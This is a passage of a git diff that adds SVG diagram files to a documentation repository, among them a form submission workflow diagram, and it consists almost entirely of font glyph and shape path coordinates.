5.242188 -6.585938 5.546875 -6.359375 C 5.847656 -6.128906 6.113281 -5.863281 6.34375 -5.5625 C 6.582031 -5.269531 6.773438 -4.929688 6.921875 -4.546875 C 7.066406 -4.171875 7.140625 -3.734375 7.140625 -3.234375 C 7.140625 -2.367188 6.925781 -1.632812 6.5 -1.03125 C 6.070312 -0.425781 5.453125 -0.0390625 4.640625 0.125 L 4.640625 1.8125 L 3.546875 1.8125 Z M 4.359375 -1.03125 C 4.785156 -1.125 5.128906 -1.347656 5.390625 -1.703125 C 5.648438 -2.054688 5.78125 -2.535156 5.78125 -3.140625 C 5.78125 -3.722656 5.640625 -4.191406 5.359375 -4.546875 C 5.085938 -4.910156 4.753906 -5.238281 4.359375 -5.53125 Z M 3.828125 -11.625 C 3.335938 -11.53125 2.992188 -11.304688 2.796875 -10.953125 C 2.609375 -10.609375 2.515625 -10.242188 2.515625 -9.859375 C 2.515625 -9.328125 2.632812 -8.882812 2.875 -8.53125 C 3.125 -8.1875 3.441406 -7.875 3.828125 -7.59375 Z M 3.828125 -11.625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-8"> +<path style="stroke:none;" d="M 6.75 -3.109375 C 6.75 -2.492188 6.753906 -1.9375 6.765625 -1.4375 C 6.785156 -0.9375 6.832031 -0.445312 6.90625 0.03125 L 6.015625 0.03125 L 5.71875 -1.046875 L 5.65625 -1.046875 C 5.488281 -0.679688 5.222656 -0.378906 4.859375 -0.140625 C 4.492188 0.0976562 4.0625 0.21875 3.5625 0.21875 C 2.582031 0.21875 1.851562 -0.160156 1.375 -0.921875 C 0.90625 -1.679688 0.671875 -2.875 0.671875 -4.5 C 0.671875 -6.039062 0.960938 -7.207031 1.546875 -8 C 2.128906 -8.789062 2.929688 -9.1875 3.953125 -9.1875 C 4.304688 -9.1875 4.582031 -9.164062 4.78125 -9.125 C 4.988281 -9.082031 5.210938 -9.015625 5.453125 -8.921875 L 5.453125 -12.640625 L 6.75 -12.640625 Z M 5.453125 -7.609375 C 5.285156 -7.753906 5.09375 -7.859375 4.875 -7.921875 C 4.664062 -7.984375 4.390625 -8.015625 4.046875 -8.015625 C 3.410156 -8.015625 2.910156 -7.722656 2.546875 -7.140625 C 2.191406 -6.566406 2.015625 -5.679688 2.015625 -4.484375 C 2.015625 -3.953125 2.046875 -3.472656 2.109375 -3.046875 C 2.179688 -2.617188 2.285156 -2.25 2.421875 -1.9375 C 2.566406 -1.625 2.75 -1.378906 2.96875 -1.203125 C 3.195312 -1.035156 3.472656 -0.953125 3.796875 -0.953125 C 4.660156 -0.953125 5.210938 -1.46875 5.453125 -2.5 Z M 5.453125 -7.609375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-9"> +<path style="stroke:none;" d="M 0.859375 3.4375 C 1.210938 2.90625 1.515625 2.304688 1.765625 1.640625 C 2.023438 0.984375 2.234375 0.304688 2.390625 -0.390625 C 2.554688 -1.085938 2.675781 -1.78125 2.75 -2.46875 C 2.820312 -3.164062 2.859375 -3.804688 2.859375 -4.390625 C 2.859375 -5.003906 2.820312 -5.648438 2.75 -6.328125 C 2.6875 -7.003906 2.578125 -7.6875 2.421875 -8.375 C 2.273438 -9.070312 2.070312 -9.757812 1.8125 -10.4375 C 1.550781 -11.113281 1.234375 -11.757812 0.859375 -12.375 L 1.6875 -12.859375 C 2.132812 -12.242188 2.519531 -11.582031 2.84375 -10.875 C 3.164062 -10.164062 3.421875 -9.441406 3.609375 -8.703125 C 3.804688 -7.960938 3.945312 -7.222656 4.03125 -6.484375 C 4.113281 -5.742188 4.15625 -5.046875 4.15625 -4.390625 C 4.15625 -3.710938 4.113281 -3.003906 4.03125 -2.265625 C 3.945312 -1.523438 3.804688 -0.789062 3.609375 -0.0625 C 3.421875 0.664062 3.171875 1.375 2.859375 2.0625 C 2.546875 2.757812 2.164062 3.394531 1.71875 3.96875 Z M 0.859375 3.4375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-10"> +<path style="stroke:none;" d=""/> +</symbol> +<symbol overflow="visible" id="glyph1-11"> +<path style="stroke:none;" d="M 5.6875 0 L 5.6875 -5.515625 C 5.6875 -6.410156 5.582031 -7.0625 5.375 -7.46875 C 5.164062 -7.875 4.789062 -8.078125 4.25 -8.078125 C 3.757812 -8.078125 3.359375 -7.929688 3.046875 -7.640625 C 2.734375 -7.347656 2.503906 -6.992188 2.359375 -6.578125 L 2.359375 0 L 1.0625 0 L 1.0625 -9.03125 L 2 -9.03125 L 2.234375 -8.078125 L 2.296875 -8.078125 C 2.523438 -8.398438 2.832031 -8.675781 3.21875 -8.90625 C 3.613281 -9.132812 4.082031 -9.25 4.625 -9.25 C 5.007812 -9.25 5.347656 -9.191406 5.640625 -9.078125 C 5.941406 -8.972656 6.191406 -8.789062 6.390625 -8.53125 C 6.585938 -8.269531 6.734375 -7.921875 6.828125 -7.484375 C 6.929688 -7.054688 6.984375 -6.515625 6.984375 -5.859375 L 6.984375 0 Z M 5.6875 0 "/> +</symbol> +<symbol overflow="visible" id="glyph1-12"> +<path style="stroke:none;" d="M 0.671875 -4.515625 C 0.671875 -6.140625 0.945312 -7.332031 1.5 -8.09375 C 2.0625 -8.863281 2.863281 -9.25 3.90625 -9.25 C 5.007812 -9.25 5.820312 -8.859375 6.34375 -8.078125 C 6.875 -7.296875 7.140625 -6.109375 7.140625 -4.515625 C 7.140625 -2.878906 6.851562 -1.679688 6.28125 -0.921875 C 5.71875 -0.160156 4.925781 0.21875 3.90625 0.21875 C 2.789062 0.21875 1.972656 -0.171875 1.453125 -0.953125 C 0.929688 -1.734375 0.671875 -2.921875 0.671875 -4.515625 Z M 2.015625 -4.515625 C 2.015625 -3.984375 2.046875 -3.5 2.109375 -3.0625 C 2.179688 -2.632812 2.289062 -2.265625 2.4375 -1.953125 C 2.59375 -1.640625 2.789062 -1.394531 3.03125 -1.21875 C 3.269531 -1.039062 3.5625 -0.953125 3.90625 -0.953125 C 4.53125 -0.953125 5 -1.234375 5.3125 -1.796875 C 5.625 -2.359375 5.78125 -3.265625 5.78125 -4.515625 C 5.78125 -5.035156 5.742188 -5.515625 5.671875 -5.953125 C 5.609375 -6.390625 5.5 -6.765625 5.34375 -7.078125 C 5.195312 -7.390625 5.003906 -7.632812 4.765625 -7.8125 C 4.523438 -7.988281 4.238281 -8.078125 3.90625 -8.078125 C 3.289062 -8.078125 2.820312 -7.789062 2.5 -7.21875 C 2.175781 -6.65625 2.015625 -5.753906 2.015625 -4.515625 Z M 2.015625 -4.515625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-13"> +<path style="stroke:none;" d="M 1.0625 -9.03125 L 1.984375 -9.03125 L 2.21875 -8.078125 L 2.28125 -8.078125 C 2.445312 -8.421875 2.664062 -8.691406 2.9375 -8.890625 C 3.207031 -9.085938 3.535156 -9.1875 3.921875 -9.1875 C 4.191406 -9.1875 4.503906 -9.132812 4.859375 -9.03125 L 4.609375 -7.71875 C 4.296875 -7.820312 4.019531 -7.875 3.78125 -7.875 C 3.394531 -7.875 3.078125 -7.757812 2.828125 -7.53125 C 2.585938 -7.3125 2.429688 -7.015625 2.359375 -6.640625 L 2.359375 0 L 1.0625 0 Z M 1.0625 -9.03125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-14"> +<path style="stroke:none;" d="M 5.296875 0 L 5.296875 -5.359375 C 5.296875 -5.847656 5.28125 -6.257812 5.25 -6.59375 C 5.21875 -6.9375 5.148438 -7.21875 5.046875 -7.4375 C 4.953125 -7.65625 4.820312 -7.816406 4.65625 -7.921875 C 4.488281 -8.023438 4.265625 -8.078125 3.984375 -8.078125 C 3.578125 -8.078125 3.234375 -7.914062 2.953125 -7.59375 C 2.671875 -7.269531 2.472656 -6.90625 2.359375 -6.5 L 2.359375 0 L 1.0625 0 L 1.0625 -9.03125 L 1.984375 -9.03125 L 2.21875 -8.078125 L 2.28125 -8.078125 C 2.53125 -8.421875 2.828125 -8.703125 3.171875 -8.921875 C 3.523438 -9.140625 3.972656 -9.25 4.515625 -9.25 C 4.972656 -9.25 5.347656 -9.148438 5.640625 -8.953125 C 5.941406 -8.753906 6.175781 -8.398438 6.34375 -7.890625 C 6.5625 -8.316406 6.867188 -8.648438 7.265625 -8.890625 C 7.671875 -9.128906 8.113281 -9.25 8.59375 -9.25 C 8.988281 -9.25 9.328125 -9.195312 9.609375 -9.09375 C 9.898438 -8.988281 10.128906 -8.804688 10.296875 -8.546875 C 10.472656 -8.296875 10.601562 -7.953125 10.6875 -7.515625 C 10.769531 -7.085938 10.8125 -6.550781 10.8125 -5.90625 L 10.8125 0 L 9.515625 0 L 9.515625 -5.75 C 9.515625 -6.53125 9.4375 -7.113281 9.28125 -7.5 C 9.132812 -7.882812 8.789062 -8.078125 8.25 -8.078125 C 7.789062 -8.078125 7.425781 -7.929688 7.15625 -7.640625 C 6.882812 -7.359375 6.695312 -6.976562 6.59375 -6.5 L 6.59375 0 Z M 5.296875 0 "/> +</symbol> +<symbol overflow="visible" id="glyph1-15"> +<path style="stroke:none;" d="M 2.453125 -2.15625 C 2.453125 -1.726562 2.507812 -1.421875 2.625 -1.234375 C 2.738281 -1.054688 2.898438 -0.96875 3.109375 -0.96875 C 3.359375 -0.96875 3.648438 -1.035156 3.984375 -1.171875 L 4.125 -0.125 C 3.96875 -0.03125 3.742188 0.046875 3.453125 0.109375 C 3.171875 0.171875 2.914062 0.203125 2.6875 0.203125 C 2.226562 0.203125 1.859375 0.0625 1.578125 -0.21875 C 1.296875 -0.507812 1.15625 -1.007812 1.15625 -1.71875 L 1.15625 -12.640625 L 2.453125 -12.640625 Z M 2.453125 -2.15625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-16"> +<path style="stroke:none;" d="M 1.28125 -9.03125 L 2.578125 -9.03125 L 2.578125 0 L 1.28125 0 Z M 1.046875 -11.78125 C 1.046875 -12.0625 1.125 -12.289062 1.28125 -12.46875 C 1.445312 -12.65625 1.664062 -12.75 1.9375 -12.75 C 2.195312 -12.75 2.414062 -12.660156 2.59375 -12.484375 C 2.769531 -12.316406 2.859375 -12.082031 2.859375 -11.78125 C 2.859375 -11.488281 2.769531 -11.257812 2.59375 -11.09375 C 2.414062 -10.9375 2.195312 -10.859375 1.9375 -10.859375 C 1.664062 -10.859375 1.445312 -10.941406 1.28125 -11.109375 C 1.125 -11.273438 1.046875 -11.5 1.046875 -11.78125 Z M 1.046875 -11.78125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-17"> +<path style="stroke:none;" d="M 0.578125 -1.171875 L 3.9375 -7.078125 L 4.5625 -7.859375 L 0.578125 -7.859375 L 0.578125 -9.03125 L 5.859375 -9.03125 L 5.859375 -7.859375 L 2.46875 -1.890625 L 1.859375 -1.171875 L 5.859375 -1.171875 L 5.859375 0 L 0.578125 0 Z M 0.578125 -1.171875 "/> +</symbol> +</g> +</defs> +<g id="surface34910"> +<rect x="0" y="0" width="961" height="201" style="fill:rgb(100%,100%,100%);fill-opacity:1;stroke:none;"/> +<path style="fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(100%,100%,100%);stroke-opacity:1;stroke-miterlimit:10;" d="M 15 0 L 63 0 L 63 10 L 15 10 Z M 15 0 " transform="matrix(20,0,0,20,-299,1)"/> +<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 24 7.592578 L 53.45 7.592578 " transform="matrix(20,0,0,20,-299,1)"/> +<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 53.45 7.842578 L 53.95 7.592578 L 53.45 7.342578 Z M 53.45 7.842578 " transform="matrix(20,0,0,20,-299,1)"/> +<path style="fill-rule:evenodd;fill:rgb(69.803923%,83.137256%,92.156863%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 24.666602 1 L 29.333398 1 C 29.977734 1 30.5 1.525 30.5 2.172461 C 30.5 2.819922 29.977734 3.344922 29.333398 3.344922 L 24.666602 3.344922 C 24.022266 3.344922 23.5 2.819922 23.5 2.172461 C 23.5 1.525 24.022266 1 24.666602 1 Z M 24.666602 1 " transform="matrix(20,0,0,20,-299,1)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="201.566406" y="53.342014"/> + <use xlink:href="#glyph0-2" x="214.621962" y="53.342014"/> + <use xlink:href="#glyph0-3" x="223.510851" y="53.342014"/> + <use xlink:href="#glyph0-4" x="232.39974" y="53.342014"/> + <use xlink:href="#glyph0-5" x="240.733073" y="53.342014"/> + <use xlink:href="#glyph0-6" x="245.455295" y="53.342014"/> + <use xlink:href="#glyph0-3" x="249.89974" y="53.342014"/> + <use xlink:href="#glyph0-7" x="258.788628" y="53.342014"/> + <use xlink:href="#glyph0-8" x="266.844184" y="53.342014"/> + <use xlink:href="#glyph0-7" x="272.39974" y="53.342014"/> +</g> +<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 16.3 6 C 16.134375 6 16 6.134375 16 6.3 L 16 8.885352 C 16 9.050977 16.134375 9.185352 16.3 9.185352 L 23.7 9.185352 C 23.865625 9.185352 24 9.050977 24 8.885352 L 24 6.3 C 24 6.134375 23.865625 6 23.7 6 Z M 16.3 6 " transform="matrix(20,0,0,20,-299,1)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-9" x="66.976562" y="160.853733"/> + <use xlink:href="#glyph0-4" x="77.809896" y="160.853733"/> + <use xlink:href="#glyph0-10" x="86.143229" y="160.853733"/> + <use xlink:href="#glyph0-6" x="97.809896" y="160.853733"/> + <use xlink:href="#glyph0-11" x="102.25434" y="160.853733"/> + <use xlink:href="#glyph0-2" x="107.25434" y="160.853733"/> + <use xlink:href="#glyph0-12" x="116.143229" y="160.853733"/> + <use xlink:href="#glyph0-13" x="121.698785" y="160.853733"/> +</g> +<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 30.3 6 C 30.134375 6 30 6.134375 30 6.3 L 30 8.885352 C 30 9.050977 30.134375 9.185352 30.3 9.185352 L 36.7 9.185352 C 36.865625 9.185352 37 9.050977 37 8.885352 L 37 6.3 C 37 6.134375 36.865625 6 36.7 6 Z M 30.3 6 " transform="matrix(20,0,0,20,-299,1)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-14" x="319.066406" y="160.853733"/> + <use xlink:href="#glyph0-15" x="328.233073" y="160.853733"/> + <use xlink:href="#glyph0-16" x="337.955295" y="160.853733"/> + <use xlink:href="#glyph0-17" x="346.566406" y="160.853733"/> + <use xlink:href="#glyph0-18" x="353.233073" y="160.853733"/> + <use xlink:href="#glyph0-16" x="361.844184" y="160.853733"/> + <use xlink:href="#glyph0-19" x="370.455295" y="160.853733"/> + <use xlink:href="#glyph0-17" x="379.621962" y="160.853733"/> + <use xlink:href="#glyph0-20" x="386.288628" y="160.853733"/> + <use xlink:href="#glyph0-21" x="396.566406" y="160.853733"/> + <use xlink:href="#glyph0-19" x="405.177517" y="160.853733"/> + <use xlink:href="#glyph0-21" x="413.233073" y="160.853733"/> +</g> +<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 43.3 6 C 43.134375 6 43 6.134375 43 6.3 L 43 8.885352 C 43 9.050977 43.134375 9.185352 43.3 9.185352 L 49.7 9.185352 C 49.865625 9.185352 50 9.050977 50 8.885352 L 50 6.3 C 50 6.134375 49.865625 6 49.7 6 Z M 43.3 6 " transform="matrix(20,0,0,20,-299,1)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-14" x="573.929688" y="160.853733"/> + <use xlink:href="#glyph0-22" x="582.818576" y="160.853733"/> + <use xlink:href="#glyph0-18" x="593.929688" y="160.853733"/> + <use xlink:href="#glyph0-19" x="602.540799" y="160.853733"/> + <use xlink:href="#glyph0-17" x="611.707465" y="160.853733"/> + <use xlink:href="#glyph0-18" x="618.374132" y="160.853733"/> + <use xlink:href="#glyph0-16" x="626.985243" y="160.853733"/> + <use xlink:href="#glyph0-19" x="635.596354" y="160.853733"/> + <use xlink:href="#glyph0-17" x="644.763021" y="160.853733"/> + <use xlink:href="#glyph0-20" x="651.429688" y="160.853733"/> + <use xlink:href="#glyph0-21" x="661.707465" y="160.853733"/> + <use xlink:href="#glyph0-19" x="670.318576" y="160.853733"/> + <use xlink:href="#glyph0-21" x="678.374132" y="160.853733"/> +</g> +<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 54.3 6 C 54.134375 6 54 6.134375 54 6.3 L 54 8.885352 C 54 9.050977 54.134375 9.185352 54.3 9.185352 L 61.7 9.185352 C 61.865625 9.185352 62 9.050977 62 8.885352 L 62 6.3 C 62 6.134375 61.865625 6 61.7 6 Z M 54.3 6 " transform="matrix(20,0,0,20,-299,1)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-14" x="795.589844" y="160.853733"/> + <use xlink:href="#glyph0-12" x="804.200955" y="160.853733"/> + <use xlink:href="#glyph0-4" x="809.75651" y="160.853733"/> + <use xlink:href="#glyph0-23" x="818.089844" y="160.853733"/> + <use xlink:href="#glyph0-2" x="826.978733" y="160.853733"/> + <use xlink:href="#glyph0-23" x="835.867622" y="160.853733"/> + <use xlink:href="#glyph0-24" x="844.75651" y="160.853733"/> + <use xlink:href="#glyph0-5" x="853.645399" y="160.853733"/> + <use xlink:href="#glyph0-7" x="858.367622" y="160.853733"/> + <use xlink:href="#glyph0-8" x="866.423177" y="160.853733"/> + <use xlink:href="#glyph0-4" x="871.978733" y="160.853733"/> + <use xlink:href="#glyph0-3" x="880.312066" y="160.853733"/> + <use xlink:href="#glyph0-6" x="889.200955" y="160.853733"/> + <use xlink:href="#glyph0-11" x="893.645399" y="160.853733"/> + <use xlink:href="#glyph0-2" x="898.645399" y="160.853733"/> + <use xlink:href="#glyph0-12" x="907.534288" y="160.853733"/> + <use xlink:href="#glyph0-13" x="913.089844" y="160.853733"/> +</g> +<path style=" stroke:none;fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 193.550781 161 L 288.449219 161 L 288.449219 184.398438 L 193.550781 184.398438 Z M 193.550781 161 "/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-1" x="193.5" y="179.407118"/> + <use xlink:href="#glyph1-2" x="199.611111" y="179.407118"/> + <use xlink:href="#glyph1-3" x="207.111111" y="179.407118"/> + <use xlink:href="#glyph1-4" x="212.111111" y="179.407118"/> + <use xlink:href="#glyph1-5" x="221.555556" y="179.407118"/> + <use xlink:href="#glyph1-3" x="228.777778" y="179.407118"/> + <use xlink:href="#glyph1-5" x="233.777778" y="179.407118"/> + <use xlink:href="#glyph1-6" x="241" y="179.407118"/> + <use xlink:href="#glyph1-7" x="245.166667" y="179.407118"/> + <use xlink:href="#glyph1-8" x="253.222222" y="179.407118"/> + <use xlink:href="#glyph1-5" x="261" y="179.407118"/> + <use xlink:href="#glyph1-3" x="268.222222" y="179.407118"/> + <use xlink:href="#glyph1-5" x="273.222222" y="179.407118"/> + <use xlink:href="#glyph1-9" x="280.444444" y="179.407118"/> + <use xlink:href="#glyph1-10" x="284.611111" y="179.407118"/> +</g> +<path style=" stroke:none;fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 457.976562 122.601562 L 544.027344 122.601562 L 544.027344 146 L 457.976562 146 Z M 457.976562 122.601562 "/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-11" x="457.953125" y="141.008681"/> + <use xlink:href="#glyph1-12" x="466.008681" y="141.008681"/> + <use xlink:href="#glyph1-13" x="473.786458" y="141.008681"/> + <use xlink:href="#glyph1-14" x="478.786458" y="141.008681"/> + <use xlink:href="#glyph1-5" x="490.453125" y="141.008681"/> + <use xlink:href="#glyph1-15" x="497.675347" y="141.008681"/> + <use xlink:href="#glyph1-16" x="501.842014" y="141.008681"/> + <use xlink:href="#glyph1-17" x="505.730903" y="141.008681"/> + <use xlink:href="#glyph1-5" x="512.119792" y="141.008681"/> + <use xlink:href="#glyph1-3" x="519.342014" y="141.008681"/> + <use xlink:href="#glyph1-16" x="524.342014" y="141.008681"/> + <use xlink:href="#glyph1-12" x="528.230903" y="141.008681"/> + <use xlink:href="#glyph1-11" x="536.008681" y="141.008681"/> +</g> +<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-dasharray:0.1,0.1;stroke-miterlimit:10;" d="M 27 3.344922 L 27 6.95 " transform="matrix(20,0,0,20,-299,1)"/> +<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 26.75 6.95 L 27 7.45 L 27.25 6.95 Z M 26.75 6.95 " transform="matrix(20,0,0,20,-299,1)"/> +</g> +</svg> diff --git a/_images/form/form_submission_workflow.svg b/_images/form/form_submission_workflow.svg new file mode 100644 index 00000000000..d6d138ee61a --- /dev/null +++ b/_images/form/form_submission_workflow.svg @@ -0,0 +1,334 @@ +<?xml version="1.0" encoding="UTF-8"?> +<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="541pt" height="601pt" viewBox="0 0 541 601" version="1.1"> +<defs> +<g> +<symbol overflow="visible" id="glyph0-0"> +<path style="stroke:none;" d="M 0.90625 -12.640625 L 12.640625 -12.640625 L 12.640625 0 L 0.90625 0 Z M 10.296875 -11.203125 L 6.78125 -7.28125 L 3.25 -11.203125 L 2.34375 -10.296875 L 5.90625 -6.328125 L 2.34375 -2.34375 L 3.25 -1.4375 L 6.78125 -5.359375 L 10.296875 -1.4375 L 11.203125 -2.34375 L 7.625 -6.328125 L 11.203125 -10.296875 Z M 2.328125 -0.484375 L 2.46875 -0.484375 L 2.46875 -0.703125 L 2.546875 -0.703125 C 2.617188 -0.703125 2.679688 -0.71875 2.734375 -0.75 C 2.796875 -0.78125 2.828125 -0.835938 2.828125 -0.921875 C 2.828125 -1.015625 2.796875 -1.070312 2.734375 -1.09375 C 2.671875 -1.125 2.601562 -1.140625 2.53125 -1.140625 L 2.328125 -1.140625 Z M 2.546875 -1.03125 C 2.640625 -1.03125 2.6875 -1 2.6875 -0.9375 C 2.6875 -0.875 2.671875 -0.835938 2.640625 -0.828125 C 2.609375 -0.828125 2.570312 -0.828125 2.53125 -0.828125 L 2.46875 -0.828125 L 2.46875 -1.03125 Z M 3.40625 -1.140625 L 2.859375 -1.140625 L 2.859375 -1.03125 L 3.078125 -1.03125 L 3.078125 -0.484375 L 3.203125 -0.484375 L 3.203125 -1.03125 L 3.40625 -1.03125 Z M 4.015625 -0.671875 C 4.015625 -0.617188 3.972656 -0.59375 3.890625 -0.59375 C 3.796875 -0.59375 3.738281 -0.601562 3.71875 -0.625 L 3.671875 -0.5 C 3.691406 -0.5 3.71875 -0.492188 3.75 -0.484375 C 3.789062 -0.472656 3.84375 -0.46875 3.90625 -0.46875 C 4.070312 -0.46875 4.15625 -0.539062 4.15625 -0.6875 C 4.15625 -0.789062 4.097656 -0.847656 3.984375 -0.859375 C 3.878906 -0.878906 3.828125 -0.914062 3.828125 -0.96875 C 3.828125 -1.007812 3.863281 -1.03125 3.9375 -1.03125 C 4 -1.03125 4.050781 -1.019531 4.09375 -1 L 4.140625 -1.125 C 4.066406 -1.144531 4 -1.15625 3.9375 -1.15625 C 3.769531 -1.15625 3.6875 -1.085938 3.6875 -0.953125 C 3.6875 -0.890625 3.703125 -0.847656 3.734375 -0.828125 C 3.773438 -0.804688 3.8125 -0.785156 3.84375 -0.765625 C 3.882812 -0.742188 3.921875 -0.726562 3.953125 -0.71875 C 3.992188 -0.707031 4.015625 -0.691406 4.015625 -0.671875 Z M 4.28125 -0.84375 C 4.332031 -0.875 4.382812 -0.890625 4.4375 -0.890625 C 4.5 -0.890625 4.53125 -0.863281 4.53125 -0.8125 L 4.53125 -0.78125 C 4.519531 -0.78125 4.507812 -0.78125 4.5 -0.78125 C 4.488281 -0.789062 4.46875 -0.796875 4.4375 -0.796875 C 4.300781 -0.796875 4.234375 -0.734375 4.234375 -0.609375 C 4.234375 -0.515625 4.28125 -0.46875 4.375 -0.46875 C 4.445312 -0.46875 4.5 -0.5 4.53125 -0.5625 L 4.5625 -0.484375 L 4.671875 -0.484375 C 4.660156 -0.515625 4.65625 -0.554688 4.65625 -0.609375 L 4.65625 -0.8125 C 4.65625 -0.9375 4.597656 -1 4.484375 -1 C 4.429688 -1 4.382812 -0.988281 4.34375 -0.96875 C 4.300781 -0.957031 4.269531 -0.945312 4.25 -0.9375 Z M 4.421875 -0.578125 C 4.378906 -0.578125 4.359375 -0.601562 4.359375 -0.65625 C 4.359375 -0.695312 4.382812 -0.71875 4.4375 -0.71875 C 4.46875 -0.71875 4.488281 -0.710938 4.5 -0.703125 C 4.507812 -0.703125 4.519531 -0.703125 4.53125 -0.703125 L 4.53125 -0.65625 C 4.507812 -0.601562 4.472656 -0.578125 4.421875 -0.578125 Z M 5.28125 -0.484375 L 5.28125 -0.78125 C 5.28125 -0.925781 5.222656 -1 5.109375 -1 C 5.023438 -1 4.96875 -0.96875 4.9375 -0.90625 L 4.890625 -0.96875 L 4.796875 -0.96875 L 4.796875 -0.484375 L 4.9375 -0.484375 L 4.9375 -0.796875 C 4.957031 -0.835938 4.992188 -0.859375 5.046875 -0.859375 C 5.097656 -0.859375 5.125 -0.828125 5.125 -0.765625 L 5.125 -0.484375 Z M 5.359375 -0.5 C 5.410156 -0.476562 5.472656 -0.46875 5.546875 -0.46875 C 5.679688 -0.46875 5.75 -0.519531 5.75 -0.625 C 5.75 -0.6875 5.734375 -0.722656 5.703125 -0.734375 C 5.671875 -0.753906 5.632812 -0.773438 5.59375 -0.796875 C 5.539062 -0.816406 5.515625 -0.832031 5.515625 -0.84375 C 5.515625 -0.875 5.53125 -0.890625 5.5625 -0.890625 C 5.613281 -0.890625 5.660156 -0.875 5.703125 -0.84375 L 5.75 -0.953125 C 5.695312 -0.984375 5.632812 -1 5.5625 -1 C 5.4375 -1 5.375 -0.941406 5.375 -0.828125 C 5.375 -0.765625 5.390625 -0.722656 5.421875 -0.703125 C 5.460938 -0.691406 5.5 -0.679688 5.53125 -0.671875 C 5.59375 -0.671875 5.625 -0.648438 5.625 -0.609375 C 5.625 -0.585938 5.601562 -0.578125 5.5625 -0.578125 C 5.5 -0.578125 5.445312 -0.585938 5.40625 -0.609375 Z M 6.109375 -0.765625 C 6.109375 -0.503906 6.226562 -0.375 6.46875 -0.375 C 6.707031 -0.375 6.828125 -0.503906 6.828125 -0.765625 C 6.828125 -1.003906 6.707031 -1.125 6.46875 -1.125 C 6.375 -1.125 6.289062 -1.085938 6.21875 -1.015625 C 6.144531 -0.953125 6.109375 -0.867188 6.109375 -0.765625 Z M 6.21875 -0.765625 C 6.21875 -0.941406 6.300781 -1.03125 6.46875 -1.03125 C 6.632812 -1.03125 6.71875 -0.941406 6.71875 -0.765625 C 6.71875 -0.578125 6.632812 -0.484375 6.46875 -0.484375 C 6.300781 -0.484375 6.21875 -0.578125 6.21875 -0.765625 Z M 6.578125 -0.6875 C 6.546875 -0.675781 6.519531 -0.671875 6.5 -0.671875 C 6.457031 -0.671875 6.4375 -0.703125 6.4375 -0.765625 C 6.4375 -0.804688 6.457031 -0.828125 6.5 -0.828125 L 6.5625 -0.828125 L 6.59375 -0.90625 C 6.539062 -0.925781 6.5 -0.9375 6.46875 -0.9375 C 6.351562 -0.9375 6.296875 -0.878906 6.296875 -0.765625 C 6.296875 -0.628906 6.351562 -0.5625 6.46875 -0.5625 C 6.53125 -0.5625 6.570312 -0.570312 6.59375 -0.59375 Z M 7.203125 -0.484375 L 7.34375 -0.484375 L 7.34375 -0.703125 L 7.421875 -0.703125 C 7.492188 -0.703125 7.5625 -0.71875 7.625 -0.75 C 7.6875 -0.78125 7.71875 -0.835938 7.71875 -0.921875 C 7.71875 -1.015625 7.679688 -1.070312 7.609375 -1.09375 C 7.546875 -1.125 7.476562 -1.140625 7.40625 -1.140625 L 7.203125 -1.140625 Z M 7.421875 -1.03125 C 7.515625 -1.03125 7.5625 -1 7.5625 -0.9375 C 7.5625 -0.875 7.546875 -0.835938 7.515625 -0.828125 C 7.492188 -0.828125 7.457031 -0.828125 7.40625 -0.828125 L 7.34375 -0.828125 L 7.34375 -1.03125 Z M 7.796875 